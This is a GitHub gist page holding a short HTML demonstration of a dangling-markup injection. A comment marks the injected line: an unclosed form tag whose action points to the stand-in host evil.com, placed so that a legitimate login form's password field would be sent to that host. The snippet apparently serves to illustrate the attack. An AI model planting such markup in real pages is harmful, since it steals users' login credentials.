Skip to content

Instantly share code, notes, and snippets.

@intchloe

intchloe/evil_extract_via_value.html

Last active July 19, 2016 15:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save intchloe/187229b8923868415989343cc8e5bd4e to your computer and use it in GitHub Desktop.
Save intchloe/187229b8923868415989343cc8e5bd4e to your computer and use it in GitHub Desktop.
Download ZIP
Raw
evil_extract_via_value.html
<!-- The hacker injected this (line 2) -->
<form method="post" name="fblogin" id="login" action="https://evil.com
<form action="/login" method="post" name="fblogin" id="login">
<input type="password" name="pasword" />
<input type="submit" name="login" name="fblogin">
</form>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment